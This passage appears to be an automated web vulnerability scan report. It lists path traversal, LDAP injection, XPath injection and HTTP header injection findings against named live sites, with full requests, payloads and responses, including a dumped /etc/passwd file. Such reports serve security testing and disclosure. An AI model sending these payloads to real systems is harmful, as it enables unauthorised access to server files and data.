Path:	/includes/javascript.php

Issue detail

The script parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

The payload ../../../../../../../../../../proc/cpuinfo../../../../../../../../etc/passwd was submitted in the script parameter. The requested file was returned in the application's response.

Request

GET /includes/javascript.php?script=../../../../../../../../../../proc/cpuinfo../../../../../../../../etc/passwd HTTP/1.1
Host: www.nextadvisor.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ca43057bfb377bbe8c129dafe1c6ec28; __utmz=252293142.1303613812.1.1.utmgclid=CJa0kuyTtKgCFQTe4AodlRiOCw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=252293142.2039271104.1303613812.1303613812.1303613812.1; __utmc=252293142

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 04:06:28 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.7e PHP/5.3.2 mod_jk/1.2.21
X-Powered-By: PHP/5.3.2
Vary: Accept-Encoding
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 1830

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdow
...[SNIP]...
ucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL
...[SNIP]...

3. LDAP injection previous next
There are 2 instances of this issue:

http://ar.voicefive.com/bmx3/broker.pli [pid parameter]
http://sftrack.searchforce.net/SFConversionTracking/redir [jaid parameter]

3.1. http://ar.voicefive.com/bmx3/broker.pli [pid parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The pid parameter appears to be vulnerable to LDAP injection attacks.

The payloads 6b8420a4611b3464)(sn=* and 6b8420a4611b3464)!(sn=* were each submitted in the pid parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /bmx3/broker.pli?pid=6b8420a4611b3464)(sn=*&PRAd=253735207&AR_C=186884836 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://www.hotelclub.com/common/adRevresda.asp?channel=home&Section=main&adsize=728x90&pos=bottom
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; UID=875e3f1e-184.84.247.65-1303349046

Response 1

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:09:53 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_6b8420a4611b3464)(sn=exp=1&initExp=Sun Apr 24 12:09:53 2011&recExp=Sun Apr 24 12:09:53 2011&prad=253735207&arc=186884836&; expires=Sat 23-Jul-2011 12:09:53 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1303646993; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 9

/*error*/

Request 2

GET /bmx3/broker.pli?pid=6b8420a4611b3464)!(sn=*&PRAd=253735207&AR_C=186884836 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://www.hotelclub.com/common/adRevresda.asp?channel=home&Section=main&adsize=728x90&pos=bottom
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; UID=875e3f1e-184.84.247.65-1303349046

Response 2

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:09:53 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_6b8420a4611b3464)!(sn=exp=1&initExp=Sun Apr 24 12:09:53 2011&recExp=Sun Apr 24 12:09:53 2011&prad=253735207&arc=186884836&; expires=Sat 23-Jul-2011 12:09:53 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1303646993; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 9

/*error*/

3.2. http://sftrack.searchforce.net/SFConversionTracking/redir [jaid parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://sftrack.searchforce.net
Path:	/SFConversionTracking/redir

Issue detail

The jaid parameter appears to be vulnerable to LDAP injection attacks.

The payloads 6c1341d6deadf489)(sn=* and 6c1341d6deadf489)!(sn=* were each submitted in the jaid parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /SFConversionTracking/redir?jadid=6589725365&jk=credit%20monitoring%20service&js=1&jmt=1_b_&jp=&jkId=8a8ae4e72e3a0b58012e4f128cd461ee&jaid=6c1341d6deadf489)(sn=*&jt=3&jsid=21865&jr=http%3A%2F%2Flanding.americanexpress.com%2Fv2.php%3Ftype%3Dv2&&gclid=CNqttZH1tagCFQbe4AodEirYCA HTTP/1.1
Host: sftrack.searchforce.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: sf_conv_info_6c1341d6deadf489)(sn=*=cid%3D8109d753-f0ef-4ba1-8b4f-e498b0828fc0%26csesid%3D21865%26caid%3D6c1341d6deadf489%29%28sn%3D*%26csk%3Dcredit+monitoring+service%26cmt%3D1_b_%26clandtime%3D04%2F24%2F2011+12%3A58%3A51+PDT%26ctest%3Dfalse%26cadoid%3D1%26ckfk%3D8a8ae4e72e3a0b58012e4f128cd461ee%26cagfk%3D%26cadid%3D6589725365%26ckid%3D-1%26cp%3D%26; Expires=Tue, 24-May-2011 19:58:51 GMT
P3P: policyref="http://sftrack.searchforce.net/SFConversionTracking/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa IVAa IVDa OUR BUS IND UNI COM NAV INT"
Referer:
Location: http://landing.americanexpress.com/v2.php?type=v2&gclid=CNqttZH1tagCFQbe4AodEirYCA&
Content-Length: 0
Date: Sun, 24 Apr 2011 19:58:50 GMT

Request 2

GET /SFConversionTracking/redir?jadid=6589725365&jk=credit%20monitoring%20service&js=1&jmt=1_b_&jp=&jkId=8a8ae4e72e3a0b58012e4f128cd461ee&jaid=6c1341d6deadf489)!(sn=*&jt=3&jsid=21865&jr=http%3A%2F%2Flanding.americanexpress.com%2Fv2.php%3Ftype%3Dv2&&gclid=CNqttZH1tagCFQbe4AodEirYCA HTTP/1.1
Host: sftrack.searchforce.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5
Set-Cookie: sf_conv_info_6c1341d6deadf489)!(sn=*=cid%3Dcfd53b94-72d7-4399-b20a-f3511dba2577%26csesid%3D21865%26caid%3D6c1341d6deadf489%29%21%28sn%3D*%26csk%3Dcredit+monitoring+service%26cmt%3D1_b_%26clandtime%3D04%2F24%2F2011+12%3A58%3A52+PDT%26ctest%3Dfalse%26cadoid%3D1%26ckfk%3D8a8ae4e72e3a0b58012e4f128cd461ee%26cagfk%3D%26cadid%3D6589725365%26ckid%3D-1%26cp%3D%26; Expires=Tue, 24-May-2011 19:58:52 GMT
P3P: policyref="http://sftrack.searchforce.net/SFConversionTracking/w3c/p3p.xml", CP="NOI CURa ADMa DEVa TAIa IVAa IVDa OUR BUS IND UNI COM NAV INT"
Referer:
Location: http://landing.americanexpress.com/v2.php?type=v2&gclid=CNqttZH1tagCFQbe4AodEirYCA&
Content-Length: 0
Date: Sun, 24 Apr 2011 19:58:52 GMT

4. XPath injection previous next
There are 3 instances of this issue:

http://www.truecredit.com/ [User-Agent HTTP header]
https://www.trustedid.com/js/mootools.js [REST URL parameter 2]
https://www.trustedid.com/js/prototype.js [REST URL parameter 2]

4.1. http://www.truecredit.com/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.truecredit.com
Path:	/

Issue detail

The User-Agent HTTP header appears to be vulnerable to XPath injection attacks. The payload ',0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the User-Agent HTTP header, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET / HTTP/1.1
Host: www.truecredit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',0,0)waitfor%20delay'0%3a0%3a20'--
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TCID=1303674394504:2le; s_pers=%20s_nr%3D1303674501185%7C1306266501185%3B%20s_vnum%3D1306266408564%2526vn%253D2%7C1306266408564%3B%20s_visit%3D1%7C1303680178921%3B%20s_depth%3D1%7C1303680178926%3B%20dfa_cookie%3Dtuitruecredit%7C1303680178936%3B%20s_ev22%3D%255B%255B'%25257C%25257C%25257C%25257CTriBureauCMUStartupfee%25257Ccredit%25257C20110324-174a3c150b7e7f3b565b%25257C%25257C%25257C%25257C'%252C'1303674496801'%255D%252C%255B'%25257C%25257C%25257C%25257C%25257Ccredit%25257C%25257C%25257C%25257C%25257C'%252C'1303674498602'%255D%252C%255B'%25257C%25257C%25257C%25257C%25257Ccredit%25257C%25257C%25257C%25257C%25257C'%252C'1303674501180'%255D%252C%255B'%25257C%25257C%25257C%25257C%25257Ccredit%25257C%25257C%25257C%25257C%25257C'%252C'1303678375845'%255D%252C%255B'%25257C%25257C%25257C%25257C%25257Ccredit%25257C%25257C%25257C%25257C%25257C'%252C'1303678378941'%255D%255D%7C1461531178941%3B%20s_invisit%3Dtrue%7C1303680178950%3B%20s_lv%3D1303678378956%7C1398286378956%3B%20s_lv_s%3DLess%2520than%25201%2520day%7C1303680178956%3B%20s_pv%3Dtc%253ALogin%2520%253A%2520Return%2520User%2520Login%7C1303680178964%3B

Response

HTTP/1.1 500 Internal Server Error
Date: Mon, 25 Apr 2011 00:46:19 GMT
Server: Apache
Set-Cookie: JSESSIONID=fXDGr6EQpVSg; path=/
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 8042

<html>
<head>
<style>
.text { font-family: "arial","helvetica", sans-serif; font-size:10pt; color:#000000; }
.title { font-family: "arial","helvetica", sans-serif; font-size:18p
...[SNIP]...
lib/jdbc2_0-stdext.jar:webroot/WEB-INF/lib/jaas.jar:webroot/WEB-INF/lib/xbean.jar:webroot/WEB-INF/lib/jms.jar:webroot/WEB-INF/lib/ant-tests-1.4.1.jar:webroot/WEB-INF/lib/jnet.jar:webroot/WEB-INF/lib/saxpath.jar:webroot/WEB-INF/lib/commons-beanutils-1.7.0.jar:webroot/WEB-INF/lib/jsr173_1.0_api.jar:webroot/WEB-INF/lib/js.jar:webroot/WEB-INF/lib/oswego-concurrent.jar:webroot/WEB-INF/lib/poi-2.5.1-final-2004
...[SNIP]...

4.2. https://www.trustedid.com/js/mootools.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://www.trustedid.com
Path:	/js/mootools.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 2, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET /js/mootools.js'?ad1211d939 HTTP/1.1
Host: www.trustedid.com
Connection: keep-alive
Referer: https://www.trustedid.com/cmalp1.php?promoRefCode=SEMGOOGCM14DF&gclid=CLTp5ZX1tagCFUSo4Aod61iHCA
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TIDT=173.193.214.243.1303675622062056; TSI=h2ps2qs3veg2jts7b9arqg2g55; promoRefCode=SEMGOOGCM14DF

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 20:27:10 GMT
Server: Apache
Last-Modified: Fri, 17 Jul 2009 18:23:54 GMT
ETag: "238263-169aa-e4086280"
Accept-Ranges: bytes
Cache-Control: max-age=300
Expires: Sun, 24 Apr 2011 20:32:10 GMT
Connection: Keep-Alive
Content-Type: application/x-javascript
Vary: Accept-Encoding
Content-Length: 92586

//MooTools, <http://mootools.net>, My Object Oriented (JavaScript) Tools. Copyright (c) 2006-2008 Valerio Proietti, <http://mad4milk.net>, MIT Style License.

var MooTools={version:"1.2.0",build:""};v
...[SNIP]...
ction"||A=="array")?Array:Hash).each(C,B,D);}var Browser=new Hash({Engine:{name:"unknown",version:""},Platform:{name:(navigator.platform.match(/mac|win|linux/i)||["other"])[0].toLowerCase()},Features:{xpath:!!(document.evaluate),air:!!(window.runtime)},Plugins:{}});
if(window.opera){Browser.Engine={name:"presto",version:(document.getElementsByClassName)?950:925};}else{if(window.ActiveXObject){Browser.Eng
...[SNIP]...

4.3. https://www.trustedid.com/js/prototype.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://www.trustedid.com
Path:	/js/prototype.js

Issue detail

Request

GET /js/prototype.js'?45cfd1b2f5 HTTP/1.1
Host: www.trustedid.com
Connection: keep-alive
Referer: https://www.trustedid.com/idfide01/?promoCodeRefIde=NXTIDF01IDEFT&promoCodeRefIdf=NXTIDF01IDFFT15
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TIDT=173.193.214.243.1303614754152763; TSI=6rjj85kupb6n5r77pnlgtoq3g0; promoRefCode=NXDIRSUZIDPANN

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 03:16:02 GMT
Server: Apache
Last-Modified: Fri, 17 Jul 2009 18:23:54 GMT
ETag: "1103eb-1e468-e4086280"
Accept-Ranges: bytes
Cache-Control: max-age=300
Expires: Sun, 24 Apr 2011 03:21:02 GMT
Connection: Keep-Alive
Content-Type: application/x-javascript
Vary: Accept-Encoding
Content-Length: 124008

/* Prototype JavaScript framework, version 1.6.0.1
* (c) 2005-2007 Sam Stephenson
*
* Prototype is freely distributable under the terms of an MIT-style license.
* For details, see the Prototyp
...[SNIP]...
Gecko: navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1,
MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/)
},

BrowserFeatures: {
XPath: !!document.evaluate,
ElementExtensions: !!window.HTMLElement,
SpecificElementExtensions:
document.createElement('div').__proto__ &&
document.createElement('div').__proto__ !==

...[SNIP]...

5. HTTP header injection previous next
There are 6 instances of this issue:

http://ad-emea.doubleclick.net/adi/N5295.150290.INVITEMEDIA.COM/B5186974.5 [REST URL parameter 1]
http://ad.doubleclick.net/getcamphist [src parameter]
http://adfarm1.adition.com/track [name of an arbitrarily supplied request parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [$ parameter]
http://d7.zedo.com/bar/v16-405/d3/jsc/fmr.js [$ parameter]
http://matcher.bidder7.mookie1.com/google [cver parameter]

5.1. http://ad-emea.doubleclick.net/adi/N5295.150290.INVITEMEDIA.COM/B5186974.5 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adi/N5295.150290.INVITEMEDIA.COM/B5186974.5

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 1ec09%0d%0a11f01021a7f was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /1ec09%0d%0a11f01021a7f/N5295.150290.INVITEMEDIA.COM/B5186974.5;sz=160x600;u=xbAGfINSKt5nVliGWhRj1MkmJLkabfPvqs_JGh9sR1hXYoWegOCq95Gmt37Sv9G4e-8FS4YZq9MZuUQN6XXQcURsfNWtBOq4xvbw;ord=[timestamp]? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676476&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658476068&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658476073&frm=1&adk=2614322350&ga_vid=946321799.1303658476&ga_sid=1303658476&ga_hid=1959143377&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/1ec09
11f01021a7f/N5295.150290.INVITEMEDIA.COM/B5186974.5;sz=160x600;u=xbAGfINSKt5nVliGWhRj1MkmJLkabfPvqs_JGh9sR1hXYoWegOCq95Gmt37Sv9G4e-8FS4YZq9MZuUQN6XXQcURsfNWtBOq4xvbw;ord=[timestamp]:
Date: Sun, 24 Apr 2011 15:28:24 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

5.2. http://ad.doubleclick.net/getcamphist [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/getcamphist

Issue detail

The value of the src request parameter is copied into the Location response header. The payload 21046%0d%0a204b0002e8c was submitted in the src parameter. This caused a response containing an injected HTTP header.

Request

GET /getcamphist;src=1516833;host=equifaxps.122.2o7.net%2Fb%2Fss%2Fequifaxprod%2Cequifaxglobal%2F1%2FH.17%2Fs0893607710022%3FAQB%3D1%26vvpr%3Dtrue%26%26pccr%3Dtrue%26vidn%3D26DA3ED4051D0814-60000137E022F418%26%26ndh%3D1%26t%3D24%2F3%2F2011%252014%253A44%253A52%25200%2520300%26ns%3Dequifaxps%26pageName%3D%2Fus%2Fpsol%2Fweb%2Flander%2FECLanderM-Q1NEWFREETRIAL%26g%3Dhttp%253A%2F%2Fequifax.com%2Ffree30daytrial%2F%253FCMP%253DKNC-Google%2526HBX_PK%253Dcredit_monitoring_service%2526HBX_OU%253D50%2526gclid%253DCNf214_1tagCFeM85Qod4FaqEA%26cc%3DUSD%26vvp%3DDFA%25231516833%253Av18%253D%255B%255B%2522DFA-%2522%252Blis%252B%2522-%2522%252Blip%252B%2522-%2522%252Blastimp%252B%2522-%2522%252Blastimptime%252B%2522-%2522%252Blcs%252B%2522-%2522%252Blcp%252B%2522-%2522%252Blastclk%252B%2522-%2522%252Blastclktime%255D%255D%26ch%3DPersonal%2520Solutions%26server%3DSamba%26events%3Devent8%26c7%3D12%253A30PM%26v7%3D12%253A30PM%26c8%3DSunday%26v8%3DSunday%26c10%3DNew%26v10%3DNew%26c14%3D%2Fus%2Fpsol%2Fweb%2Flander%2FECLanderM-Q1NEWFREETRIAL%26v14%3D%2Fus%2Fpsol%2Fweb%2Flander%2FECLanderM-Q1NEWFREETRIAL%26v16%3D%2Fus%2Fpsol%2Fweb%2Flander%2FECLanderM-Q1NEWFREETRIAL%26s%3D1920x1200%26c%3D16%26j%3D1.6%26v%3DY%26k%3DY%26bw%3D1034%26bh%3D907%26p%3DShockwave%2520Flash%253BJava%2520Deployment%2520Toolkit%25206.0.240.7%253BJava%2528TM%2529%2520Platform%2520SE%25206%2520U24%253BSilverlight%2520Plug-In%253BChrome%2520PDF%2520Viewer%253BGoogle%2520Gears%25200.5.33.0%253BWPI%2520Detector%25201.3%253BGoogle%2520Update%253BDefault%2520Plug-in%253B%26AQE%3D121046%0d%0a204b0002e8c&A2S=1;ord=1822386431 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://equifax.com/free30daytrial/?CMP=KNC-Google&HBX_PK=credit_monitoring_service&HBX_OU=50&gclid=CNf214_1tagCFeM85Qod4FaqEA
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://equifaxps.122.2o7.net/b/ss/equifaxprod,equifaxglobal/1/H.17/s0893607710022?AQB=1&vvpr=true&&pccr=true&vidn=26DA3ED4051D0814-60000137E022F418&&ndh=1&t=24/3/2011%2014%3A44%3A52%200%20300&ns=equifaxps&pageName=/us/psol/web/lander/ECLanderM-Q1NEWFREETRIAL&g=http%3A//equifax.com/free30daytrial/%3FCMP%3DKNC-Google%26HBX_PK%3Dcredit_monitoring_service%26HBX_OU%3D50%26gclid%3DCNf214_1tagCFeM85Qod4FaqEA&cc=USD&vvp=DFA%231516833%3Av18%3D%5B%5B%22DFA-%22%2Blis%2B%22-%22%2Blip%2B%22-%22%2Blastimp%2B%22-%22%2Blastimptime%2B%22-%22%2Blcs%2B%22-%22%2Blcp%2B%22-%22%2Blastclk%2B%22-%22%2Blastclktime%5D%5D&ch=Personal%20Solutions&server=Samba&events=event8&c7=12%3A30PM&v7=12%3A30PM&c8=Sunday&v8=Sunday&c10=New&v10=New&c14=/us/psol/web/lander/ECLanderM-Q1NEWFREETRIAL&v14=/us/psol/web/lander/ECLanderM-Q1NEWFREETRIAL&v16=/us/psol/web/lander/ECLanderM-Q1NEWFREETRIAL&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1034&bh=907&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=121046
204b0002e8c&A2S=1/respcamphist;src=1516833;ec=nh;rch=2;lastimp=0;lastimptime=0;lis=0;lip=0;lic=0;lir=0;lirv=0;likv=0;lipn=;lastclk=0;lastclktime=0;lcs=0;lcp=0;lcc=0;lcr=0;lcrv=0;lckv=0;lcpn=;ord=1303675007:
Date: Sun, 24 Apr 2011 19:56:47 GMT
Server: GFE/2.0
Content-Type: text/html

5.3. http://adfarm1.adition.com/track [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adfarm1.adition.com
Path:	/track

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 209f7%0d%0a9e16d477dc8 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /track?tid=328&sid=1132&rdm=15241710.050031543&209f7%0d%0a9e16d477dc8=1 HTTP/1.1
Host: adfarm1.adition.com
Proxy-Connection: keep-alive
Referer: http://de.swisscom.ch/privatkunden
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Server: ADITIONSERVER 1.0
Date: Sun, 24 Apr 2011 20:50:32 +0200
Connection: close
Content-Type: text/plain
Location: http://adfarm1.adition.com:80/track?co=1&209f7
9e16d477dc8=1&rdm=15241710.050031543&sid=1132&tid=328&clickurl=
P3P: policyref="http://imagesrv.adition.com/w3c/p3p.xml",CP="NOI DSP COR NID ADMo OUR NOR COM"
Set-Cookie: co=1; path=/; expires=We, 01-Jan-2025 00:00:00 GMT; domain=.adfarm1.adition.com

5.4. http://d7.zedo.com/bar/v16-405/d3/jsc/fm.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d7.zedo.com
Path:	/bar/v16-405/d3/jsc/fm.js

Issue detail

The value of the $ request parameter is copied into the Set-Cookie response header. The payload b4be9%0d%0a1c4d0fc4311 was submitted in the $ parameter. This caused a response containing an injected HTTP header.

Request

GET /bar/v16-405/d3/jsc/fm.js?c=1050&a=0&f=&n=809&r=21&d=3&q=&$=b4be9%0d%0a1c4d0fc4311&s=376&z=0.8531599652840236 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: d7.zedo.com
Cookie: ZCBC=1; FFgeo=2241452; FFcat=809,1050,9:809,1050,21; FFad=0:0; ZEDOIDA=xlO0TcGt89Z-t7Q0A2jzc9p9~042411; ZEDOIDX=21; FFCap=1574B809,210841|0,1,1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=809:b4be9
